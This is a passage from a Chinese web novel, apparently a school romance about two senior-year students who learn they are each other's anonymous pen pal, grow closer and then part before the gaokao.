“好喝,比特调好喝。”梁意杉多贪了几口,可乐下肚,气泡轰鸣,液体扫流过的牙齿噼里啪啦炸响,他被这股气弄得翻了个白眼,咋呼:“我靠,可乐攻击我?” 易承:“……” 许桑:“……” 砂锅米线温度保留时间相对较长,将配菜吃得差不多,只留好似会病态繁殖的米线时,大部分人食欲会降低。 但梁意杉不同,越嗦越有劲,烫得上嘴皮下嘴皮打架了,都还要坚持不懈地挑最下面的“滚烫米线”。 多半也是喜欢趁热吃豆腐的人。 “我昨晚无聊,扫了一圈南城的景点和娱乐设施,除了老公园和两座山,好像没寻着什么。”梁意杉嗦完粉,打算多蹭会空调,“你们不打算出去玩玩吗?” “不打算。”许桑偏了下头:“老袁没讲寒假安排?” “讲了啊。”梁意杉羞愧地低了下头,“一天两套卷子,群里或私发打卡,我特地带过来了,书包里一半都是卷子。也是服气……那你们下午什么安排?总不能做一下午作业吧。” 易承和许桑齐声:“嗯。” “……”梁意杉歪头,“行吧。那我能跟你们一起吗?”- 小区楼下种花种树种灌丛,绿化水平很高。居民时常会下来逛逛,除了遛狗玩,聚众下棋、搓麻将、唠嗑等也算热门项目。 午后,冬阳最是舒服,照在身上懒洋洋的,心都跟着敞亮明朗起来。常绿树下,倚楼而建有几张石桌,是公共资源。 梁意杉叼着笔:“要不在这学习?” 易承看了眼:“你不嫌冷就行。” “不嫌。”说着,梁意杉蹭着石凳便坐下,把书包拉链拉开,抽了一沓卷子,“就喜欢这种奇奇怪怪的场合。” 易承:“……” 许桑习以为常,伸手揽了下易承,“我们上楼拿卷子。” 半个小时后,梁意杉牙齿直打哆嗦,先是搓搓手,到后面进化成抱着双膝乱蹭。他打着寒颤,看着对面两个表情都没变过的人,问:“你们不冷?” 易承摇头,回道:“我们多添了件衣服。” “……”梁意杉哽住,“许哥,你怎么不念着点好兄弟?” 许桑转了圈笔:“你不是不嫌冷?” “好吧,是我嘴贱。”梁意杉蜷缩着四处张望,目光透过矮草堆,望进一楼的大玻璃窗里,里面摆了些大桌。而自这个视角,能清晰看到墙角开着的空调,他激动地一指,“要不我们进去学?” 易承淡淡收回视线,“麻将桌,你不嫌吵?” 这次,梁意杉深思熟虑了一下,“不至于吧,我之前效仿许哥听满格音量的DJ曲做作业,已经练就了绝对的专注力!不嫌,绝对不嫌。” 易承嗤笑一声:“但愿。” 跟一楼的麻将老板娘还算打过一星半点的交道,易承得了个七折的优惠,便占据了离空调最近的一桌。 三四点,进麻将馆的人流开始膨胀。 “我靠,你们不觉得吵吗?”梁意杉抱着头,眼睛来回看着易承和许桑。 见他俩浑然世外地做着题,那叫一个下笔如有神!他实在不解,“我耳边全是:一筒,二万,幺鸡,九条、碰、杠……胡了!你们不嫌吵?” 易承和许桑甚至都懒得抬眼看他。 “空调暖气是不是太足了,我脸都热红了,考不考虑换个通风好的地方……你们不嫌热?” 许桑翻页时,冷着看他一眼:“闭嘴。” “……好吧。”梁意杉盖上笔帽又脱下笔帽,来来回回玩了几次后,觉得没意思,便转过身将麻将桌看着,看了一局,发现跟自己玩的规则不一样,又转回来,看着面前两个人,他叼着笔,感叹: 原来这才是“耳朵选择性聋、眼睛选择性瞎、感知选择性下降”的正确使用方式? 感叹了会,他又垂下头,尽可能专注地啃题。 …… 听许桑一说,易承问道:“想要哪个小号?” 许桑不理解这有什么可选的,能淘到答案的小号就是好小号:“随便。” 易承把手机给他,“看谁顺眼进哪个,群名叫‘假期作业专业拼接群’。” “听着不太专业。”许桑咂摸一句,看了眼这三个小号。 大号他熟悉不用管,小号三个昵称,自新到旧分别是“ycccccc”、“钱来(门窗没锁想来就来)”、“借点儿光”。 借点儿光…… 许桑有片刻的呆滞,看着熟悉的昵称,与之配套的是一个全黑的头像。他指尖轻顿,迟疑两秒后点了进去。 除了加过“假期作业专业拼接群”,剩下的便只剩“借点儿光”个人账号和其他杂七杂八一看就不是人的广告、公众号营销号。 他这时,忽的想起十几天前,易承问过他的那个软件……这么巧的巧合吗? “杠上花!快,给钱给钱……”一大爷激动得跳起来,嗓门大得整屋都被他无辜波及。 另一桌的大妈稍后两秒也欢喜地喊道:“哎哟!刚好,点炮……” 被这两声拉回现实,许桑轻摇头,点开群聊,就见里面几个文件包整整齐齐地列着。 【紫啧啊(语文负责组):语文作业不是人能做的,老子通宵都没赶完……所以有些地方就直接是搜题帮粘贴。】 【我想你了(数学负责组):我托关系,拿到了十三班数学老师发的答案,不过只有前三套的,直接看群文件就行……后面几套还在等lyp做,别急哈。】 …… 是挺专业,六科都有相应的负责组。 许桑好奇地看了眼易承的群昵称,“王八羔子(偷窥答案组)”。 许桑:“……” 群主是纯猎奇才没把这号人踢出去吧- “那我先走了。”梁意杉努力一下午,耕耘了半套卷子,他抱着书包挠挠头,“我回宾馆把剩下一张半做完去找老袁交差,不然他得把我骂成孙子……我得奋斗奋斗,不能便宜他了!” “加油吧。”许桑平静地看向他:“什么时候回去?” 梁意杉垂头丧气地说道:“明天。本来想好好玩玩的,但我爸非说车票订了……也主要是我爸大年三十的生,不想浪费福气,让我回去吸吸……我想着,顺便帮你俩多吸几口,指不定高考用上了。” 许桑倚在门口,屋内易承在洗碗。他便代易承跟他说了句:“谢了。” “害,张个嘴的事。”梁意杉往屋内看了眼,忽的钻进去,喊道:“易哥!” 易承听觉甚佳,擦干净手走出来:“嗯?” 梁意杉上前,“记得通过我的好友验证。另外,高考后,你一定要来青宁,我保证带你玩个痛快!” 易承点头,跟他击了个掌:“好。” “行吧行吧,那我先走了。”梁意杉经过许桑时,小声说道:“许哥,题我发你了,助我一臂之力呗!” “……”许桑轻笑一声,“自己滚回去赶作业。” 梁意杉嘿嘿一笑:“那青宁见喽!” 等把人送走,许桑回到书房,借着打印机,把梁意杉发的两套题一并打下来,说道:“挑一套?” 易承轻挑眉:“真帮做啊?” “不尽然。”许桑便自作主张挑了压轴题难度更大的那张给他,“你多做做难题,有好处。” 易承接过:“听你的。” 台灯下,两人并排坐在书桌前,黑墨水化成线地落在纸页上。 许桑只做了后半张,速度快一些,他发给梁意杉并收获了99+的感谢词后,他单手托腮,描着易承的面部轮廓细细打量。 稍后,他看向墙壁上的那片黑色影子,唇角轻轻牵动。 迟疑后,他视线偏转,坚定地看向易承,问道:“你相信,透过文字字骨,能喜欢上一个人的灵魂吗?” 第77章 第77章 【“这么直白?”】…… 笔下是道导数的“极值点偏移”类型题, 易承正在确定切线放缩的点,听耳边这一句,思维有些打搅, 他撂下题,偏头问道:“怎么说?” 许桑指尖紧实贴着笔,没转起来,还带着些微微的颤意, 像是在压抑某种情绪。但面上连同声音,还是稳如平时:“我有一个笔友。” 易承落笔的手顿住, 转过身, 看着许桑的眼睛,静静倾听。 “我告诉他,我时常被一个梦缠身,梦并不好,跟恐怖片一个特效款。但梦的地点,曾经却是我的乐园, 可这片乐园,却在无数次频繁的回首间,染上灰色调,成为一闭眼便是梦魇的存在……可那个笔友回信说:‘比家常便饭还家常便饭’。” 许桑往前探身:“我不解,便问他为什么。” 听及此,易承眼睫轻颤,不止因为这些话的文字版他曾看过,还因为此时许桑停了下来, 目光里染着兴味与期待,就像看见猎物的猎手,轻掸衣袖, 勾起笑意耐心等待他的落网。 直觉是个美妙的存在,尤其是它应验的时候。 易承喉头一滚,签字笔脱离手心,啪地砸在试题纸上,也顺便裹挟走脑中残留的对数均值不等式。他舌尖抵了下上颚,温声:“我猜,你那位笔友回信前,数学考试失利了。” 许桑这回是真不解了:“嗯?” “他大概会有感而发,回你:‘你这梦的性质,跟成绩出来复盘考场情况一个样,结局决定性质。成绩不理想,回顾时,任何东西都能成为借口。答题卡涂错位、题干看走眼、考前没睡好、神经抽条3写成5……真假不论,回忆次数一旦增多,便成了记忆里的事实。若在意得深了,下下下次回顾时,便会存在理智清醒、但意识沉沦的现象。也即是,明知考差是实力不够,却会下意识相信是其他因素作祟。至于解梦,下次数学怎么考好,不消我来教?’” 全程紧锁许桑的瞳孔,易承将他的微表情看得分明,于是,他百分之九十肯定地倾身,“是吧,乱码朋友?” 许桑怔愣住。 顷刻间,近年余的光景浮现在面前。是日升日落、是月圆月缺、是星现星灭的不确定节点中跳突出的信件,而由此引折的半喜半忧的情绪在翻然涌动。 貌似都受了“网络用地注意保护个人隐私”的影响,两人的信件往来,事件总是抽象的,唯有逻辑与情感不染杂质……明明那么抽象,却都能神奇般地具象在回忆的每一帧信纸上。 他喉头发涩,声线触电了一样起伏明显,“一字不差。” “啧。”易承伸手,温热的掌心侧托起他的脸颊,抚上,“真是你啊。” 许桑忽地轻笑,身体前倾,他伸出双臂,勾住了易承的脖颈。手指收紧,落在他脖颈动脉处,在跳跃的张膨下,感受着生命的迹象。 易承回抱过去,嘴唇贴缝着他耳下皮肤,热气随声音迭出:“这么主动?” “……滚。”许桑笑容骤然收住,想撤回这个拥抱,却被一股强力锢住——一股他绝对能抗衡的强力,毕竟掰手腕,他赢了——可以说,许桑半是不得已半是不舍得地重新抱住人。 身体相贴,风都透不过去的紧凑。 易承声音不自知地泛哑:“如果我没记错,你最初的问题是:相不相信透过文字字骨、能喜欢上一个人的灵魂?” “嗯。”许桑下巴抵着他肩窝,鼻音回答。 “这么说来,你喜欢上我,是先喜欢上灵魂还是肉.体?”易承偏了分毫,上唇极轻地撩过他颈动脉,“或者说,单喜欢灵魂还是肉.体?” 许桑默了一声,如实回答:“你同笔友没划等号前,肉.体;之后,灵魂。” 易承单一挑眉,“这么直白?” 许桑不语。 初见易承第一面,他第一眼看到的是易承的身形轮廓;第二眼是眼;第三眼是腰…… 回忆起画面来,许桑“嗯”了一声,手指下移,环住他的腰,还捏了捏。 “嗯……”实在有些超脱意料,易承没忍住,唇间流泄出极小的闷哼。 他咬了下口腔内侧的软肉,才清醒过来,继续发问:“许桑,喜欢我什么?” 许桑脱口而出:“话少。” 易承顿住:“……”这话他倒是难以反驳。 合着他还该感谢吕丁陈慢那两个话唠做铺垫? 感受到易承的错愣,许桑伏在他肩头轻笑,带动起胸腔细小的震颤,说道:“暂时没有不喜欢的。” “啧。”易承笑了,他摸到手机,解锁后点开“Serendipity”,根据日期随意点开一封,换了个许桑的声音在脑海中放映,他笑得更欢了。 尽管他心底很想问:若是当初系统机制没有把两人勾连起来,或者说,他或许桑任意一方没有下载那个软件,是否意味着他俩不会有交集,也不会有更深的联结。 但想想,这种问题就像是“鸡生蛋、蛋生鸡”。 假设条件难以复现,即使逻辑性再强,也不过是“无证之词”。 还不如想想明早吃什么! “诶,等等。”易承指尖擦过日期更前些的信,读到中途,他浑身一震,“你当初表白,不至于是我先挑起火的吧?” “嗯?”许桑想了想,想起很早之前那封信,点头,“嗯,不然还没意识到。” 易承丢下手机,将人拥得更紧:“果然,真诚是必杀技。” 许桑无言以对:“……” 大概是坐着拥抱累人且损形象,两人坐直,易承勾着嘴角把切线放缩式子拾回列好,心情颇好地叹气:“侮辱智商的题又来一道。” 许桑轻笑出声:“……”好歹也是道填空压轴。 转头,他将题扫了一眼,轻蔑一笑: 八成不是老袁出的题,确实智商掉线了。 他就着易承亮着的手机,将延溯至很久以前的信件翻开,看着。 半个小时后,易承卷子写完,正准备拍给梁意杉,就见许桑偏着头,目光有些阴郁。 “你的第一封信……”许桑顿住了,没说下去。 易承也愣了下,转而平静地接过手机,把试题两面拍好,截掉多余部分,发给梁意杉。 他声音平淡,“……我本来不会碰写信这种东西的。但那天,我和我妈被堵在去医院的路上,脱不开身。快没了的时候,是杨叔硬抗着攻击、给我腾出一条道。那天医院里,我妈昏迷不醒,杨叔腰背受伤极重,几乎成了永久性创伤。” “记得是十月份,国庆假的最后一天,我实在有些受不住,又无人倾诉,就把那软件翻出来。注册昵称时,我想着,无光之人,造不出来,借点儿总行吧。而后匆匆投了一封,毫无疑问,满是负面情绪。” “可能晚睡的人也有福音?” “晚上十二点投递,没想到凌晨两点居然收到了回信,消息提示音成了医院走廊唯一的声响,莫名很动听。乱码朋友……准确来说是你,真的借出那么点希望和光过来。我妈凌晨三点醒了。之后,杨叔的病情好转,虽有后遗症,但不影响正常生活。” “你说,缘分这东西,玄乎是玄乎,”易承向天花板看了眼,才笑着看向许桑,“但好似存在。” “嗯。”许桑轻点头,指尖刮了下他鼻头:“还要吗?再借你点儿?” 易承没脸没皮点头:“要。” 许桑柔和地看向他。 说来,他重复做着的那个噩梦,在遇到“借点儿光”的回信前,做梦频次几乎是每天一两次……直至他的出现,才渐渐淡化,最后久久才露面一次。 易承又何尝不是他生命中,贴着墙角缝都能挤进来的一缕光。 许桑轻摇头,郑重其事地反悔:“不借。” 易承歪头:“嗯?” 许桑语气坚定:“你有。”- 高三收假,甚早。大年初六,一大帮子人便齐刷刷且乌泱泱地坐在教室。 跟听候发落的死鬼一样——怨气快溢出屋顶了都。 徐富本命年吧,从头发丝到脚趾尖都是红的,他笑嘻嘻地将住校生手机收进挎包,拉好拉链让陈慢送进办公室锁好后,嬉皮笑脸地说道:“好久不见呐,同学们。” “好久不见,老徐!” “好久不见,不如不见。” “好久不见,怎么不等我死了再见!” …… “作业的事,”徐富停顿了一下。 下面就开始叮叮咚呛地捣鼓书包,大部分人都是把卷子集本摊开摆在桌上,双手抱胸,一副“任你查,有个题没做算我输”的样子。 徐富早有预料,打了个哈欠,“就不查了。” “………………”沉默是南城附中理一班大年初六的班歌。 “不逗你们了。”徐富抄抄手,“之前应你们的‘雨露均沾’,趁着今天刚收假,你们还没收心,就来小小的实践一下。两分钟内,小组组员做一桌,根据自身需求进行讨论。” “好耶!” “我长胖了。”吕丁苦着脸转过来,“过年胖十斤,真不是吹的。” 陈慢先是点头当了两秒捧哏,反应过来自己是组长,便有板有眼地组织纪律:“聊学习,小丁子!” “哦,好吧。”吕丁伸手食指挠了挠下巴,发问:“要不,我们分享一些考试习惯或技巧?先聊主科!” “可以啊。”陈慢上道:“我先来。语文作文我还行,常年48+。标题对偶式,论证三段式,另外背个凤头龙尾,完美!” 其余组员:“……”说了跟没说一样。 “那我说英语。”吕丁皱了皱眉,“我习惯性先写作文算不算?这样有安全感。” 赵鸿途没说话,先问了句,“要不,许哥先来?” 许桑轻顿,不知道该说什么,没等他拒绝回答时,就听易承吊儿郎当地开口:“他习惯性,听听力前先盲猜答案,听完现改;习惯性用‘※’标记存疑的题;习惯性一小时内草稿式做完语文卷子、余下时间慢慢誊到答题卡上。” 其余组员目瞪口呆。 许桑却受此启发,说道:“易承习惯性草稿纸只用一页、剩下一整面留着对付难题,如果有的话;习惯性在听力念规则阶段做完语填和改错;习惯性先读完英语阅读篇目、再直接扫题做。” 说完,他看向易承。 “不是,”吕丁脑袋都快突出去了,“我连慢慢吃饭用手还是筷子都没观察出规律,你们就对彼此了解百分百了。这么拼命,高考是有什么默契度加分吗?” 陈慢给了他一脚:“……” 易承挑眉,看向吕丁,“还有更默契的,要听吗?” 第78章 第78章 【“哄我。”】 吕丁:“……” 他双手托腮, 面上平静但内心波涛汹涌地缓了一会,才说道:“倒也不用……不过你俩也太变态了,这些习惯我连模仿一遍都觉得逆天。” 许桑轻声:“考试习惯是属于自己的, 上考场没必要模仿,容易乱节奏。” “明白!”吕丁比了个“ok”的手势,转头看向赵鸿途,“鸿途, 你呢,分享分享呗?” “我的考试技巧嘛, ”赵鸿途犹豫了一会儿, 像是舍不得把属于自己的东西和盘托出,有种给出技巧别人便能提分、反倒自己地位受到威胁的感觉。 可刚听到许桑易承毫不怜惜、毫无保留地说了一大堆,他又自觉行为自私过于了,便避重就轻地说道:“数学考试打草稿,标题号、并简单划分区域,有助于之后检查。而且, 考完之后,对照草稿纸过程进行复盘,能有效找准自己的过失点,不容易被主观带偏。” 陈慢很会来事地献出自己的巴巴掌:“说得好!” 赵鸿途埋下头笑了声,方才翻涌上来的情绪好像顷刻间消散,他期待性地又多分享了两句:“卷子发下来,与其先看总体估难度,不如逮住一个题开始啃……” 许桑听完, 给了一句点评:“中规中矩,不易失分。” “嗯,不敢太冒险。”听着像被表扬了, 赵鸿途羞涩地挠了挠脖子,“许哥,你俩的做题风格好像,不愧是第一第二。” 易承偏了下头,正想说句什么,就见前两分钟还远在教室对角的徐富,脚下踩了风火轮一样冲了过来,笑得像人牙子,“你们组,讨论时有遇到什么难题吗?” 陈慢配合地举手:“老徐,我们想请教您,怎么十天之内考进年级前十?” 徐富笑容凝住:“……” “陈班开玩笑的。”吕丁打圆场,“我们真实的问题是:数学怎么十天内考上一百四?” 徐富嘴角向下实在笑不出来了:“……” 两分钟后,他带着自我怀疑地转身离开这组,偏偏身随心动、脚步灌铅般极其沉重,将走未走远时,隐隐听到易承在支招——“题海战术。” 好像……绝对是吕丁在问:“我天天刷半页题,作业也在写,题海着呢,怎么是龟速提升?” 易承贱兮兮地回答:“有海的概念吗?小丁。你上学期刷到这学期,资料书才过半……做的题水坑容量都夸张了,还扯题海?” “别骂了,别骂了。”吕丁双手合十恭敬一拜,“我十天之内不刷完半本资料书,我名字倒过来写!在座都是见证!” 走到过道中间的徐富展颜一笑,好像灌铅的腿已经不是他的了。心道:这才叫少年嘛- 距离高考还剩77天。 今日励志语:长风浩荡,归来我仍是此般模样,恣意张扬。 到这个不上不下的时间点,大半的班级笼罩在微妙的气氛中。理论上该焦虑的人,基本已经熬到“怎么时间这么慢、能不能快点高考”的阶段;而表面看上去四平八稳的,其实背地里时常咆哮:“啊!怎么时间过得这么快!” 浮躁蔓延,静得下心的十之一二。 偏偏今天,春招倒计时:0天。 年级人数骤降,本就对外压抑的四五楼,更是安静得路过蚂蚁都要踮起脚尖蹑手蹑脚爬行。 从厕所出来,绕过临近空了大半的班级,吕丁复杂地叹气:“幸福啊,提前三个月就解放了。” “后悔没报名啊?”易承戏谑地说了句,手指擦过走廊的铁网,弹了一下,引得长长一条铁丝贯通震动。 “那倒也不是。苦到现在了,剩下的八十天我死活也得挺过去。”吕丁看了眼易承,开始还酝酿情绪准备吐出句现下经典发言“passion!”就见他易哥玩铁条玩上瘾了,偏偏手劲儿大,楼下楼下的铁丝都跟着颤动,不知道还以为局部地震了……他惊呼:“啊!易哥!” 易承淡淡收回手,瞥他一眼:“又没拨你,叫什么?” “……”吕丁脸一白,像找到了易承牌制衡器,忙呼道:“许哥,易哥凶我!” “……”许桑无奈地看了眼易承,淡声:“玩够没?” 没等易承回答、吕丁震惊完,就听他又淡淡补充一句:“玩够了做两套题,自习下课我查。” 易承指尖抹了下鼻尖:“……好。” 吕丁先是愣了,听完才反应过来这是许哥的“血脉压制”,欢喜极了,“哈哈哈哈哈……易哥,你也有今天!” 易承则平等迁移“怒火”:“才擦一本线,有资格笑吗?” “……”吕丁笑不出来了,“易哥,行吧,我也有今天。等会我就去刷一百套题,卷不死你!” 易承看了他一眼:“……” 十多天后,春招成绩公布,志愿填报期间,学校进行了小小的调整——班级合并。 原因很简单,艺考加春招,后面有些班级人数所剩无几,要还是原规模,不纯纯浪费师资嘛。 理一班也新添了三个同学,二女一男。 在台上做自我介绍时,吕丁转头说道:“这三个,分别是五班七班十班的常年第一,不过估计来这得被完虐了,比如十班那个,年排一百多来着。” “嗯。”易承捧了他一把,“你努努力能够上了。” “嘿嘿。”吕丁转身跟他静音击掌,“还差得多,我得再够够。” 易承没再多言,趁着老徐当起气氛组的头子兵,偏头跟许桑说悄悄话。 “怎么?” 易承笑笑:“好消息坏消息,先听哪个?” 许桑轻笑:“一起。” 易承顿住:“……”选择关系爆改并列关系。 好在语文教过逻辑,他组合后说道:“牛逼炒馆,准确来说,赤色馆,明天开业,但我们估计没时间去蹭顿饭。” 因高考在即,南城附中高三作息阳间急转阴间:午间休息时间被砍掉一半,晚自习提前半小时上课,以及,最后一节晚自习由45分钟延长至70分钟。周末也全天补课……估计说“时间是海绵”的那位兄弟,来这都要愣上一愣:海绵是死的吧。 许桑嗤笑:“赤色馆?” “估计500元奖金诱惑力不够,”易承笑了,“没人提供名字?” 许桑艰难找出词汇评价这名:“有特色。” 不知道什么时候竖起耳朵的吕丁回头凑了一句热闹:“什么色?” 易承望着他后脑勺:“……耳朵这么闲?”什么都要听! “倒不是。”吕丁弯过手臂把一张折叠四次的白纸放到许桑桌上,“想找时机问题来着。” 易承嫌归嫌,但还是简明扼要地说了“赤色馆”的事。 听完,吕丁眼睛一瞪,不知道被什么附体了,神叨叨的:“啊!这名字取得好啊!” 易承和许桑同时缄默住:“……” “你们什么表情。”吕丁竖起手指,趁着老徐在播放那则“致全国高三学子”视频,字正腔圆:“有句话不是这么说来着:‘试看将来的环球,必是赤旗的世界!’这名儿简直不要太正,好吧!” 什么色?红色! 许桑把笔凌空一转,感叹:“这样啊。” 易承也跟着夸了一句:“不愧是社会主义接班人,根正苗红。” “你俩一唱一和,”吕丁挠挠后脑勺,“都给我整害羞了。” “……”哟,还是红色- 时间有双隐形的翅膀,会飞,咻地一下便划出了残影。 就像这样——时历一撕一扯,今日距离高考便只剩21天。 “起这么早?”易承固定数学题量还没刷完,就见许桑在床上坐直,似乎没睡好,整个人处于半梦半醒的状态。 “嗯。”许桑呆了半分钟,下床,要出房间门时,他脑袋伸回来说了句:“我有事得先走。” “嗯?”易承愣住,却见许桑已经利落的进了洗手间,疑惑没落到实地,但不急,他把剩下的三道题看着,想着做完再问——总不能让许桑吐着牙膏沫子跟他叽叽咕咕吧。 不过,还剩一道题时,却听到外面传来关门的声音。?? 易承立起身子,正欲追出去,就听手机上发来消息。 【许桑:豆浆油条/面包牛奶?】 易承琢磨了一下,“面包牛奶。” 【许桑:嗯。】 易承歪着脑袋,思考半天也不着道。要不是还剩一道题在等他,他还真得跟手机屏幕瞪出个好歹来。 六点五十分,通往南城附中的马路寂静而安宁。 春天是个特殊的季节,它来的时候,你以为还是冬天;它要走的时候,你疑惑:这尼玛不是夏天了嘛! 所以,现在好像:已经夏天了——当然,这么粗略的结论,但凡这里立着个学地理的,九成得跟你唠半小时“345春、678夏……”的原委。 许桑拖着行李箱,目光平淡地将街道两侧一一扫过: 还是昼短夜长的日子,日出时间却渐渐放早。前些日子还伸手不见五指的时辰,现在已经能遥遥将半露的日出看在眼里。 天空鱼肚白、朝霞平分暗淡的蓝调。 许桑不知不觉慢下步子,定睛看向河岸下成片成团的草;又偏开视线落在这条蜿蜒的道路上: 迷蒙之中,道上走了两个少年,偶尔牵手,偶尔双手各插己兜。这个时间段,吹着凉凉的风,适合背东西——睡前溜过两眼的东西,会随着主动追溯而摊开始终。两个人,习惯性以题型为提醒,灵活地提出问题,答不上的则短跑百米再飞速弹回来,一切又继续。 “壬戌之秋,七月既望,苏子与客泛舟游于赤壁之下……” “tend、deal、damage、congratulation……” “生产力决定生产关系,生产关系反作用于生产力……” 耳边嘈喧渐多,人流渐渐涌上来。许桑从晃神中清醒,多看了眼地上杂乱的野草,他迈步向学校。 又他妈不是永别,怀个屁的念。 路过保安室时,他敲了下门。 “搞啥?”徐贵从里面慢悠悠地走出来,拉开门看到这张脸,他立马转口:“怎么了,许同学?” 许桑轻声:“暂放行李箱。” “嗯?”徐贵一愣,“现在你们的资料书已经多到要用行李箱拉了?” 许桑一时无言:“……” 他缓了两秒,勉强温和道:“能不能放?” “能啊。”徐贵把门大敞开,不知道那根筋搭错了,他突然想展示点什么,把行李箱往肩膀上一抗,走完一步,他痿了:“这么轻?” 许桑看他一眼:“不然?” “是我想多了。”徐贵把行李箱卡在里面后,说道:“我以为知识的力量沉重无比。” 理一班教室到了两三个人,印象不错的话,是班上的四五名……拼命学生的典中典,一度创下了吃喝拉撒全在学校的最高记录。 原始记录是赵鸿途拼下的。 许桑坐下,收拾书包。 基于户口的原因,他得回青宁市参加高考,之前报名的时候手续是梁意杉帮他弄的……总不能到高考了,还让梁意杉去代吧? 就算他主观愿意,写高考答题卡上的“许桑”估计才下考场就被卷面气得升天了。 他想着,估摸着时间订了最晚的票……毕竟,新老高考模式有异,他现在骨子里都是旧高考模式,必要的,得预留些时间回去参加一次大型联考,找感觉。 从车票时间上看,他到青宁市是凌晨四点,估计休息一会,白天正好直接参考。 易承到教室时,精准接下许桑飞掷过来的面包,撕开包装咬了口,咽下后才问道:“今天这么早?” “嗯。”许桑把吸管插好,才将牛奶递过去,“我九点的车票。” 正要喝奶的嘴停住,易承瞳孔微缩,看向他:“嗯?” 许桑还是平静:“嗯。” 易承抬头看了眼时间:7:23,他愣住,正想着说句什么,许桑就眼疾手快地揪了小块面包塞他嘴里。 指尖绕过舌尖,附着上湿热……许桑顿了两秒,才正色说道:“食不言。” 易承:“……” 许桑看向他,眼含笑意。 缓解离别伤感情绪的最佳办法是什么?一字诀:“快!” 天下武功,唯快不破。没有时间为基床的情绪,发酵不到什么程度…… 把面包三两口吞咽掉,易承喝了口奶,才没把自己噎死。他说道:“家里人又催你?” “不是。”许桑凑近了些,“我回去高考。” “哦。”易承闷闷地回答,“不是还有二十多天?” 问完的瞬间,他其实就有答案了。便更闷地说了一句,“我知道了。” 说这话时,易承眼睛垂着,连着微微下沉的语音,整个人就跟村口二大爷家的黄毛狗一样,莫名委屈巴交的。 看着他这个模样,许桑没忍住笑出来了,他伸手轻捏了下易承的脸颊:“有情绪?” “嗯。”易承抬眼望着他,“哄我。” 许桑偏过头继续笑,稍后才斟酌了下语气:“乖,我出去拿个第一回来。” “啧。”易承听笑了,连说道:“那我守住家里的。” 说完,两人四目相对,笑得更欢了。 他妈两个厚脸皮的,自信到一块去了。 上午的第一节课,恰好是数学。 第一节数学,十斤鸡血都打不醒人。即使醒着的,也身在曹营心在汉,灵魂到处飘,就是落不到黑板上。 偏偏徐富也有点大病:按道理来讲,这阶段基本到全自习阶段了,但他不服输,还在僵持他的二轮复习。 一个人在上面口若悬河,从习题开始讲,通常是大题三小问,两问一节课……稍微有点自主能力的都在自己做自己的。 许桑百无聊赖,抬眸看了眼倒计时时历,“今日励志语:我用今天换明天,明天必定是晴天。” 没意思……他便看向黑板,目光淡淡地落在徐富的板书上。 两分钟后,他轻皱眉,举手。 徐富张着嘴不知是喜是惊:“……有什么不懂吗?许同学。” 他这一问,半个班的人都转了过来。 许桑面平如无波之湖,起身道:“分类讨论多余了。” 他难得听一次徐富讲题,还没找好形容词,却先一步看到错处了。 于是心情本就带点暗的他,无情地揭露了。 看热闹的确实看到热闹了,咯吱咯吱的笑起来。 徐富手里的粉笔惨遭腰斩:“…………等等,我看看哈。” “嗯。”许桑坐下来,无聊地勾住易承的红笔,在指尖转。 看热闹的终究看到自己身上了,徐富把粉笔一折:“来,找个同学上来做!” 醒了、没醒的都清醒了:“……”- 八点四十准时下课,许桑轻拍了下易承的肩,停留了两秒。 易承仰头看他,轻声:“下次见。” “嗯。”许桑还是逾矩地揉了揉他的头发,“再会。” 今天天气还不错,还算早的一个点,都勾得保安室里的人把躺椅搬出来,大概是在喝风。 许桑只淡淡给了他一眼,“麻烦开门。” 徐贵坐直身子,“好。诶,你这个点,算逃课了吧?要我通融通融还是包庇包庇?好说,都好说。” 许桑:“……” 他手指搭上行李箱杆时,才轻声:“我转学。” “啊,这样啊。”徐贵愣愣地笑了,见许桑一步不留、两步跨出横栏,再有三步就要消失在视野里了,他连忙唤住人:“许桑啊。” 许桑转身,隔着黄色横栏看他:“有事?” 徐贵慢吞吞地说:“我记得你。” 许桑看白痴一样:“嗯。” 天天晚上见一面,偶尔还有声招呼。如果脑子没问题,不记得才怪了。 “是不是要高考了?” 许桑稍稍有些不耐烦了:“嗯。” 徐贵却在此时起身,趴在横栏上,有些谨慎地说着:“我看得出来:你和易小子关系很好。天天看你们走一起,早晚、上下学都是。我还是第一次看跟他关系这么近的……易小子这人吧,外表看着天不怕地不怕,内心其实也还是个孩子,比较脆弱……你也别转校即转世、毕业即永别,如果可以的话,多回来看看他呗?” 易承、脆弱?冷不丁的笑话。 听到最后,许桑有片刻的沉默。 这话说的,好像他是那种始乱终弃的人。 他答:“会的。” “那就好。”徐贵犹豫再三后还是翘着后腿,艰难地伸出手,虚虚地拍了下他的肩,“高考加油,祝你金榜题名!” 许桑勾唇,笑得阳光都褪了色彩:“会的。” 第79章 第79章 【“谢邀。有男朋友了。”】…… 天亮未亮时, 许桑从出租车上下来,取了后备箱里的东西,便困倦地向校门口走去。 青宁市一中, 简称青中。本来该叫一中的,但这儿的人觉得遍地有一中,但不是遍地有“青中”,所以, 为追求那么点有的没的,统一叫法是青中。 在门禁上人脸识别成功后, 许桑往宿舍方向走。 青中作息也挺变态的, 毕竟以住校生为主。早六点五十到班,晚十点半结束。这个点,起床铃正响着。 经典的《命运交响曲》。 许桑困得没心情欣赏艺术,拖着行李箱走进宿舍楼,径直朝六楼走去。 “早上好,早上好, 快起床!早起的鸟儿被虫吃,哦不,早起的鸟儿有虫吃!快起床,快起床……” 对房梁意杉的闹铃,是被整个六楼学生从头嫌弃到脚的声音——据说是他自己录的,大概觉得大清早就听到自己的声音、能被美死,然后笑醒。 许桑没心情照常踹门进去给他摁闹钟,推开门, 正想踢了鞋补昨天白天兼晚上的觉,关上门,却见被子没了。 甚至于, 床垫也没了。 许桑抵在门上:“……” 他神经发麻,从衣柜里随便拈了件毛衣,盖头上便坐书桌前趴着睡下了。 八点四十,闹钟响铃。 许桑一脸烦躁地摘下毛衣,伸手从书包里掏出只中性签字笔、2B铅笔,换上件秋季校服外套,扣上卫衣帽子,又随手套了个口罩,便面无表情地向主教走去。 这个点,安检基本过完。监考员一般在找小刀准确裁密封袋——一路上没遇到两个人,遇到的也是飞窜着跑开了。 15考场30号。 许桑有些陌生地走上四楼,找到考场后,扣门,示意讲台上的监考员安检他。 “来这么晚?”监考员上下左右一扫射,“卷子都发了,下次注意时间。” “嗯。”许桑蔫声回了句,“谢谢。” 后门关着,他只得从前门径直走向考场最后一排兼最后一列。 不知道是他只套半截校服穿得不伦不类,还是戴个口罩气质模糊不清,或者多多少少这学校还有人记得他,走下去,八步,步步踩着耗子了一样,惊得叽叽叽的几声。 